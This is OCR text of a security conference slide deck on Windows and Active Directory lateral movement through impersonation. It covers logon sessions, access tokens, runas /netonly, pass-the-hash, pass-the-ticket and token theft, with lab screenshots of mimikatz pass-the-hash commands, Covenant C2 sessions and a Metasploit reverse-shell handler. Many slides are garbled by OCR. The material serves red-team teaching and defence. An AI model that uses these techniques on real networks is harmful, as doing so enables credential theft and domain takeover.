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The goal of this talk is understanding how to perform lateral movements in
Windows and Active Directory environments by comprehending the art of user

Impersonation
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Ways of Authentication
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[SAM] : Local Auth

[NTDS] : Domain Auth

N

[SAM] HostA\UserA

HostA

[SAM] HostA\UserB

Remote

DC

[NTDS] Corp\DomainUserA

HostB

[NTDS] Corp\DomainUserB




Remote Authentications

* We don’t (usually) care about physical authentications

* We care about remote authentications and they require privileges

* Being a local user in a system doesn’t mean you have privileges

www.crummie5.club



Authentication Packages

(Security Support Providers / SSP)
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FIGURE7-20 Components involved in logon.

Windows Internals, Part 1: User Mode www.crummie5.club




Application MET &pplication Internet Application
MET Frarmework Explorer Layer

kerberos || MTLM Cigest || Schannel || Megotiate

https://ldapwiki.com/wiki/Security%20Support%20Provider%20Interface www.crummie5.club



Local Authentications - Msv1 0 (NTLM)

I’'m HostA\attl4s

>
Challenge
<
Challenge signed with user’s hash
>
SAM
HoStA\ATTLAS *Checks the hash* OK HostA

https://support.microsoft.com/en-sg/help/102716/ntIm-user-authentication-in-windows www.crummie5.club



Domain Authentications — Kerberos AP/SSP*

- Authentication Pass-through (Netlogon)

< e < NTDS
Corp\ATTLA4S OK HostA OK DC

*NTLM still supported by default

https://docs.microsoft.com/es-es/windows-server/security/kerberos/kerberos-authentication-overview www.crummie5.club
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Logon Sessions
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Logon Sessions

* Logon sessions are created when an authentication is successful (physically or
remotely)

e Credentials (if any) are tied to logon sessions

* Two types:
* Interactive / Non-Network
* Non-interactive / Network

https://docs.microsoft.com/en-us/windows/desktop/secauthn/Isa-logon-sessions www.crummie5.club



Logon Sessions - Interactive

* User sends credentials and are stored in Isass.exe for later use (SSO)

 Typically when you log in through Window’s auth screen (Winlogon > LogonUl)

PS C:Z\Usershacapaz'\Desktop> Get-LogonSession
. Domain : CAPSULE
ArCO Ca aZ Description :
. UserName : Acapaz
InstallDate :
‘ Computeriame : FILESERVER
LogonId : 415384
..........I LogonType : Interactive
- - . AuthenticationPackage : Kerberos
Mame :
StartTime : 5/18/2819 1@:18:13 AM
Caption :

https://docs.microsoft.com/en-us/windows/desktop/secauthn/Isa-logon-sessions www.crummie5.club



Logon Sessions - Network

e User proves he has credentials but does not send them to the target

e Usually after an interactive authentication (since you have creds cached, you
don’t have to specify them again)

Domain : CAPSULE
Description :
Userhame : Acapaz
InstallDate :
ComputerName : FILESERVER
LogonId : 1278874
LogonType : Network
MuthenticationPackage : NTLM
MName :

@ Network StartTime : 5/18/20919 18:22:39 AM
Caption :

https://docs.microsoft.com/en-us/windows/desktop/secauthn/Isa-logon-sessions www.crummie5.club



Windows PowerShell

indows PowerShell
opyright <G> 2813 Microsoft Corporation. All rights reserved.

PS C:xUserssacapaz> whoami

apsulesacapaz

PS C:islserssacapaz? Enter—PSSession —ComputerMame fileserver
[fileserverl: P8 C:uUserssacapazsDocuments?> hostname
FileServer

[filezserverl: P8 C:xUserssacapazsDocuments>

https://docs.microsoft.com/en-us/windows/desktop/secauthn/Isa-logon-sessions

Domain
Description
Userlame
InstallDate
Computeriame
LogonId
LogonType
AuthenticationPackage
MName
StartTime
Caption

CAPSULE

: Acapaz

FILESERVER
1132194
Network
Kerberos

5/18/2819 18:21:48 AM
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I_'D DCO1.capsule.corp l_'m SQLserver,capsule,corp l_'ﬁ FileServer.capsule.corp

EXN Administrator Windows PowerShell

PS C:\> Get-LogonSession | where username acapazg, -
3
W
257 PM
i I = R £~ ne R
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Access Tokens
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Access Tokens

When a logon session is created, information is returned to the Local Security
Authority (LSA) that is used to create an Access Token

* An access token is a protected object that contains the security context of a user
* Every user’s process will have a copy of the token

Each Access Token references to a Logon Session

Process/Thread - Access Token - Logon Session = Credentials cached

https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-tokens www.crummie5.club



cmid.exe: 3004 Properties

Image Performance Performan raph sk and Me

GPU Graph Threads ¥ Environment

323724671-1106

User SID
* Groups
I nt e g r i ty W: ; gh lj-"laru:lat-:-r',' Level I|l'|'lfegr'rt',':

ed Users  Mandatory
Mandatory

* Token type
* Privileges
* Logon Session i e

n Properties

tion autharity asserted identity

nfa

[ ) : : i General Advanced
XK i s
Type:
Impersonation level:
Token LUID:
Authentication LUID:
Memoary used:

Memory available:

https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals www.crummie5.club



Access Tokens (cont.)

An Access token is not a single thing that represents a user’s identity

e The same user can have different tokens and sessions in different
processes/threads

* i.e: UAC (medium and high integrity processes)

https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-tokens www.crummie5.club



EN powershell.exe:6284 Properties O EN powershell.exe:5248 Properties
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Security Environment
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The Purpose

* Access Tokens represent the security context of a user
» SID, privileges, groups he’s a member of, integrity of the associated process...

* Windows uses these tokens for local access control purposes
e Objects have associated a list of control rules (DACL)
* Processes accessing objects have associated an Access Token

* The information provided by a Token is compared with the rules of an object to
determine if access is granted or denied

https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-tokens www.crummie5.club



Passwords.txt

Object’s Security
Descriptor

Access Denied l
ACE 1 S-1-5-21-domain-1004 (wint3r)
Read, Write, Execute
— — W e p——

~ Access Allowed - ~)
(/ ACE 2 S-1-5-32-544 (Administrators) \
N ~. Write /

— ;4

Attl4s’s Process

Access Token

S-1-5-32-544
(Administrators)

Wint3r’s Process

Access Token

S-1-5-21-domain-1004



Token Types

e Primary Tokens (process tokens)
e Every process has a primary token associated

* When a new process is created, the default action is inheriting the primary
token of its parent

 Impersonation Tokens (thread tokens)

* They enable a thread to run in a different security context (different token)
than the parent process

e Usually used for client and server scenarios

https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-tokens - https://www.exploit-db.com/papers/13054 www.crummie5.club



Impersonation Tokens

ServerApp.exe

User A

Primary
token

Process

User A

Primary
token

Thread 1

Impersonation is the ability of a thread to execute in a security context
that is different from the context of the process that owns the thread.
Using impersonation process can act behalf of other user.

The server thread uses an access token representing
the client's credentials to obtain access to the objects to
which the client has access.

Related privileges:
« SelmpersonatePrivilege
SeAssignPrimaryPrivilege

User B User C
Impersonation Impersonation
token token
Thread 2 Thread 3

RONE

FAIRE

https://es.slideshare.net/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
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Impersonation Tokens

* Impersonation Tokens have different “impersonation” levels
* Some services may only require to identify usernames
e Other services may need the full security context of a user

* The resulting Access Token will differ depending on how the service is configured

https://docs.microsoft.com/en-us/windows/desktop/secauthz/impersonation-levels www.crummie5.club



Impersonation Tokens (cont.)

* An attacker will typically care about “fully impersonated” tokens
* Tokens that could grant local privilege escalation opportunities
* Tokens that could grant lateral movement opportunities for other systems

* The later ones (lateral movement) are commonly called “Delegation Tokens”

* Delegation Tokens refer to a logon session with credentials in memory that can be
used to move laterally to other computers

* Created by interactive logons, console logons, RunAs, PsExec with -u flag, RDP and any
credential delegation

https://docs.microsoft.com/en-us/windows/desktop/secauthz/impersonation-levels www.crummie5.club



User Impersonation
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HostA

Do | have passwords?

Do | have hashes / tickets?
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Logon
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=)

User SID

Logon Session ID

Integrity

Groups

Can | manipulate interesting tokens?




Do | Have Passwords?
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RunAs.exe

* The process created by RunAs has an access token and logon session similar to
the ones done by an interactive logon

* Credentials in memory!

* Credentials must be verified before creating the process
* Local users are verified through SAM
 Domain users are verified through a Domain Controller

* What happens when credentials can’t be verified? - RunAs fails

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw www.crummie5.club



RunAs.exe (cont.)

* Some Windows tools for remote management just work with SSO authentication
e E.g. sc.exe or schtasks.exe

* Sometimes you do possess valid credentials that RunAs cannot verify
e Local users of other systems
* Domain users of non-trusted domains

 What do you do such cases?

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw www.crummie5.club



The Netonly Flag
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The Netonly Flag

* Tells RunAs that the specified credentials are for remote access only

* Windows will not validate the credentials you specify
* Watchout wrong credentials!

* When you interact with a network resource, Windows will use the credential
referred to by the logon session created

* Therefore, the Logon Session will not match the identity of the access token

https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ www.crummie5.club



User SID

References Logon Session ID

Integrity

Groups

2. The current user’s token
will be duplicated and its
logon session ID substituted

_ with the newer one

User SID
References Ny Logon
Session ID
Integrit
ey New Process
Groups
1. Windows will create a new logon
session with the credentials specified

3. The new process will run with this token



Your Own Runas

CreateProcessWithLogonW, CreateProcessAsUser, CreateProcessWithTokenW, LogonUserA...

* MSF
» exploit/windows/local/run_as
* post/windows/manage/run_as
* post/windows/manage/run_as_psh

e Cobalt Strike
* MakeToken
* RunAs

* Covenant / SharpSploit
* MakeToken

www.crummie5.club



[} DCO1.capsule.corp
Terminal

Activities

File

[} FileServer.capsule.corp

Fri 15:29
attl4ds@Strobe: ~

Edit View Search Terminal Help

Name:
CommType:

Connected Grunts:

Hostname:
IPAdress:

User:

Status:
LastCheckIn:
ActivationTime:
Integrity:

OperatingSystem:

Process:
Delay:
JitterPercent:

ConnectAttempts:

KillDate:
Tasks Assigned:

Tasks Completed:

(Covenant:

06d5a35760
HTTP

FileServer

192.168.83.158

CAPSULE\Acapaz

Active

5/31/19 1:28:59 PM

5/31/19 12:02:12 PM

High

Microsoft Windows NT 10.0.17134.0

powershell

0

10

5000 I

12/31/99 11:59:59 PM

bbe240beb4,3326bT1584,b3f73cc22a,9el1c332d29, bee819e646,c580582cde,57502b82fe, 741. ..
bbe240beb4,3326bT1584,b3f73cc22a,9e1c332d29,beeB819e646,c580582cde,57502b82fe, 741. ..

I |




Do | Have Hashes?
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MSV1_0/ NTLM

Pass-the-Hash
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PASS-THE-HASH (msv1 0)

gl gm B e

New logon session
Update credential material (hash) in that logon session (ADMIN)
Duplicate the original token and refer it to the new logon session
Use this new token

Runas /netonly but with the hash instead of the password!!

User SID

Logon Session ID

Integrity

Groups

User SID

Logon Session ID

Integrity

Groups

91ed1|dnQ



NORMAL

UserA

@SS (msv1

s
o

BD35111AB3B0D46129EFBDBAB06B49C4

\ / HostA
PASS-THE-HASH
@SS (msvlb
UserB \ / HostA

Benjamin Delpy — “Abusing Microsoft Kerberos. Sorry you guys don’t get it” — Blackhat 2014




mimikatz 2.2.0 x64 (oe.eo)

sUserssATTL4AS\Desktopiminikat= .exe
s x5t
i -~ o i

THE o Hi
1518158

Uincent LE TOUH

imikatz # privilege::debug
rivilege ‘28*' 0K

imikatz # sekurlsa::pth Auseriadmninistrador Adomain:. /ntlm:BD35111AB3IBAD46129E

BDBABBGB49C4 Arun cmd.exe

SEP - administrador
omain @ .
rogram : cmd.exe
impers. I no
TLH : bhd3d511iab3bBd4612%ef bdbahBth49c4d
i FPID 3856
TID 2568

LSA Process is now R-AUY
LUID B ; 655574 {A00HAAAA:BARaBH.

S

_mzvl_@A — data copy P A0RBAAEAAE]
_ kerhberoz — data copy P AORBRAHEAAE
_ aes256_hmac —»*» null

“_ aesl28_ hmac - null

“~_ rc4d_hmac_nt 0K

“_ rcd_hmac_old OK

_ rcd_md4d 0K

_ rcd_hmac_nt_exp 0K

“_ rcd_hmac_old_exp OK

“_ *Password replace P AAAARAAAA1GI

Imimikatz #

mimikatz 2_.2.8 (x64> #17763 May 4 26019 B1:52:688
At ##. A La Vie,. A L'fAmour" - {oe.eo’
#it » ~ ##t == Benjamin DELPY “gentilkiwi® ¢ henjaminPgentilkiwi.com 2
* http:/sblog.gentilkiwvi.coms/mimikatz
¢ vincent.letouxPgmail.com ?
*» http:rsspingcastle.com ~ http: “mysmartlogon.com

Administradon: CAWindows'

28842019
14872087
28042019

Directorio

G Windowsssystemd2 >

Microsoft Windows [Version 6.1.766811
Cop_right <c? 2007 Microsoft Corporation. Reservados todos los derechos.

C:sMindowsssystem32 rdir ~~192.168.83.148-C5
El volumen de la wnidad SS192.168.83.1495C% no tiene etigqueta.
El nimero de szerie del volumen es:

de ~~192.168.83.148C5

17:13
B5:-28 <DIR>
17:=12 <DIR>
B6:=57 <DIR>
1741 <DIR>
17:=13 <DIR>
17:-18 <DIR>

<DIR>

B archivos

? dirs 52_.862.881.792 bytes libres

BA31-79AF

EFS Software
PerfLogs
Program Files

Program Files <(x86>

Users
vifolders
Windows

A butes




KERBEROS SSP/AP

OverPass-the-hash > Pass-the-Ticket > AskTGT

www.crummie5.club



OVERPASS-THE-HASH (Kerberos SSP/AP)

New logon session
Update credential (hash and/or KEYS) in that logon session (ADMIN)
Duplicate original token and refer it to the new logon session

Use this new token

g B

Runas /netonly but with the hash instead the password!!

User SID

Logon Session ID

Integrity

Groups

User SID

Logon Session ID

Integrity

Groups

91ed1|dnQ



NORMAL AS-REQ

)
AS-REP
LSASS (Kerberos) i
G ST T

TGS-REP
<
BD35111AB3B0D46129EFBDBAB06B49C4

OVERPASS-THE-HASH AS-REQ

AS-REP
I ———
TGS-REP

———————————————
l BD35111AB3BOD46129EFBDBABOGB49C4 >

Benjamin Delpy — “Abusing Microsoft Kerberos. Sorry you guys don’t get it” — Blackhat 2014




PASS-THE-TICKET (Kerberos SSP/AP)

1. Obtain (or forge)
2. Import the ticket

a TGT/ST ticket somewhere
through Kerberos APIs

PASS-THE-TICKET

e

w

TGS-REQ
)

TGS-REP
A —

. ST

-

Benjamin Delpy — “Abusing Microsoft Kerberos. Sorry you guys don’

t get it” — Blackhat 2014




PASS-THE-TICKET (Kerberos SSP/AP)

1. Obtain (or forge) a TGT/ST ticket somewhere
2. Import the ticket through Kerberos APIs

PASS-THE-TICKET
TGS-REQ

"IeT | et LSASS (Kerberos) TGS-REP

Kerberos LSA APl = NO ADMIN ©

Benjamin Delpy — “Abusing Microsoft Kerberos. Sorry you guys don’t get it” — Blackhat 2014




ASK-TGT/ST (Kerberos SSP/AP)

1. Generate legitimate Kerberos traffic to request either a TGT or ST

ASK-TGT/ST

AS-REQ >

| AS-REP

TGS-REQ e >

TGS-REP

——

https://www.harmjOy.net/blog/redteaming/from-kekeo-to-rubeus/




ASK-TGT/ST (Kerberos SSP/AP)

1. Generate legitimate Kerberos traffic to request either a TGT or ST

ASK-TGT/ST

[ AS-REQ >

_ TRT | AS-REP

NO LSASS = NO ADMIN ©

TGS-REP
A

——

https://www.harmjOy.net/blog/redteaming/from-kekeo-to-rubeus/




Amimikatz.exe

PS5 C:\Users\acapaz\Desktop:

L S @, A La Vie, A L'Amour” - (oe.eo)

mimikatz # privilege::debug
Privilege '28' OK

user : administrator

domain @ capsule.corp

program : cmd.exe

impers. : no

NTLM : bd35111ab3b@d46129%eftbdbabdbbdScsd
PID 3292
TID 1484

LSA Process is now R/W
LUID @ ; 18256237 (9000000 :0116916d)

/fﬁ—————n—

CHHEHHE mimikatz 2.2.@ (x64) #17763 Apr 15 2819 81:18:12

#H /O ##  S*** Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )

#H OO S ## > http://blog.gentilkiwi.com/mimikatz
i ov P Vincent LE TOUX { vincent.letoux@gmail.com )
"REEER » http://pingcastle.com / http://mysmartlogon.com Y

mimikatz # sekurlsa::pth fuser:administrator /domain:capsule.corp /ntlm:BD35111AB3BAD46129EFEDBABBGEASCA

msvl_@ - data copy @ GODPR2GBOERTE4E8 : QK !
_ kerberos - data copy @ @288826B9E854863
Y_ aes256_hmac -» null
%_ aesl23 hmac -» null
“_ rcd_hmac_nt 0K
“_ rcd_hmac_old oK
h_ rcd_mdd 0K
“_ rcd_hmac_nt_exp 0K
“_ rcd_hmac_old_exp OK
\_ *Password replace [@ @900826BIECES488 (32) -> nul

findows\SYSTEM32\crmd.exe

Administrator:

C:\Windows\system32:>dir \\dc®l.capsule.corp\C$
volume in drive \\dc@l.capsule.corp\C% has no label.
Volume Serial Number is 541F-854C

Directory of \\dc@l.capsule.corp\C$

89/15/2818 @9:19 AM <DIR> PerflLogs
04/25/2019 82:43 PM <DIR>» Program Files
089/15/2818 11:86 AM <DIR> Program Files (x86)
B5/85/2819 85:15 PM <DIR> Users
B85/18/2819 86:88 PM <DIR> Windows

8 File(s) @ bytes

5 Dir(s) 5,858,428,736 bytes free
C:\Windows\system32>klist
Current LogonId is ©:8x116916d
Cached Tickets: (3)
H#a> Client: administrator @ CAPSULE.CORP
Server: krbtgt/CAPSULE.CORP @ CAPSULE.CORP
KerbTicket Encryption Type: AE5-256-CTS5-HMAC-5HA1-96

Ticket Flags @x60a2100088 -> forwardable forwarded renewable pre_authent name_canonicalize

Start Time: 5/11/2819 14:27:57 (local)
End Time: 5/12/2819 ©:27:57 (local)




[ DCo1.capsule.corp [} Fileserver.capsule.corp [} strobe
Activities Terminal + Wed 13:35 WM -

attlds@5Strobe: ~ - B X

File Edit View Search Terminal Help

(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
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(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
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Can | Manipulate
Interesting Tokens?
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Creating and manipulating logon sessions with passwords/hashes/tickets is
nice but... what if there is already what we need in the system?

PS5 C:\>» Get-Process -IncludelserName

Handles WS({K) CPU(=s) Id UserName ProcessName
393 8828 a8.36 4656 CAPSULEMAcapaz ApplicationFrameHost
382 21892 a8.16 3688 CAPSULEMAcapaz backgroundTaskHost
266 23412 a8.a9 4372 CAPSULEMAcapaz backgroundTaskHost
162 1668 a8.a85 988 CAPSULEMAcapaz browser_broker
47 3324 @.88 8852 CAPSULE‘\administrator cmd
242 15788 1.23 1928 CAPSULEMAcapaz conhost
191 15972 8.85 5264 CAPSULEZadministrator conhost
239 28392 1.31 o828 CAPSULEMNAcapa:z conhost
457 1372 @8.55 e CSrss

Luke Jennings — “Security Implications of Windows Access Tokens - A Penetration Tester's Guide” www.crummie5.club



Token Manipulation

* With privileges, we can manipulate any token in the system!

* Recall that credentials are tied to logon sessions
* Interactive logon = Credentials in Isass.exe
* Network logon = No credentials in Isass.exe (usually)

* Logon with no creds means token with no creds

* Token with no creds means USELESS TOKEN for lateral movement purposes

Jared Atkinson & Robby Winchester — “A Process is No One. Hunting for Token Manipulation” — Blackhat 2017 www.crummie5.club



Token Impersonation / Theft

www.crummie5.club



Process User SID

Logon Session ID

Integrity £

(S
)
Groups o

DuplicateTokenEx()

User SID &®

Logon Session ID

CreateProcessWithTokenW() = Creates a process with the I ntegrlty
token. Groups - New Process
ImpersonateLoggedOnUser() = Assigns a primary or or

impersonation token to the calling thread

Existing Thread

SetTheadToken() = Assigns an impersonation token to a
thread



[} DCO1.capsule. corp [y FileServer.capsule.corp [} Strobe
Activities Terminal « Fri 14:01 W O -

attlds@5Strobe: ~ - o X

File Edit View Search Terminal Help

(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
(Covenant)
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Injecting into the Context
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Process

User SID

Logon Session ID References

Integrity

Groups

%k
Injects

Payload

Any kind of process injection



[ FileServer.capsule.corp

Recycle Bin Tools

atlas

Hacker

Processes

Tools Users

Network

\/ien
VIEW

Services

Name

i-| System Idle Process
| Registry
=| csrss.exe
-] wininit.exe
-| csrss.exe
| winlogon.exe
5| fontdrvhost.exe
[85] dwm.exe
explorer.exe
£l MsASCuil.exe
i vmtoolsd.exe
"= ProcessHacker.exe
¢@ OneDrive.exe
N, cmd.exe

conhost.exe

® O

Help

924
544
4432
6744
6908
6432
2060
123
32

353

£

"™ Process Hacker [CAPSULE\Acapaz] (Administrator)

User name

NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITYASYSTEM
NT AUTHORITYASYSTEM
NT AUTHORITYASYSTEM
NT AUTHORITYASYSTEM
Font Driver Host\UMFD-1
Window Manager\DWM-1
CAPSULE\Acapaz
CAPSULE\Acapaz
CAPSULE\Acapaz
CAPSULE\Acapaz
CAPSULE\Acapaz
CAPSULE\Administrator
CAPSULE\Administrator

711 PM
AT e

bl Applicati.. ¥  Places ~

File Edit View Search Terminal

msf5 > handler -H 10.10.11.150 -P 443 -p windows/x64/meterpreterfreverseftcpl

Terminal »

Help

Sat19:11 e
root@Strobe: ~




Let's Move
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Remote Code Execution

Remote Service Control Manager

Remote Task Scheduler Service

Remote Registry

WS-Man

DCOM
* WMI
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(ﬁ‘ DCO01.capsule.corp Fﬁ FileServer.capsule.corp fﬁ’ Strobe
Activities Terminal = Wed 16:33 L[ H ~

attl4s@Strobe: ~ —t oml e

File Edit View Search Terminal Help

Name: 49f02ebca2

CommType: HTTP

Connected Grunts:

Hostname: FileServer

IPAdress: 192.168.83.158

User: CAPSULE\Acapaz
Status: Active

LastCheckIn: 6/5/19 2:33:05 PM
ActivationTime: 6/5/19 2:03:54 PM
Integrity: Medium
OperatingSystem: Microsoft Windows NT 10.0.17134.0
Process: powershell

Delay: 0

JitterPercent: 10

ConnectAttempts: 5000

KillDate: 12/31/99 11:59:59 PM

Tasks Assigned: af77bd235b,cc2abfed26,81d8594789,48ed4dfac28,7ece/bldb2,52da633087,4b0961209f,29%e. ..
Tasks Completed: af77bd235b,cc2abfed26,87d8594789,48ed4dfac28,7ece7bldb2,52da633087,4b0967209f,2%e. ..

(Covenant: )5>




MANY THANKS!

Any Question?

-
Is anybody awake? "

-



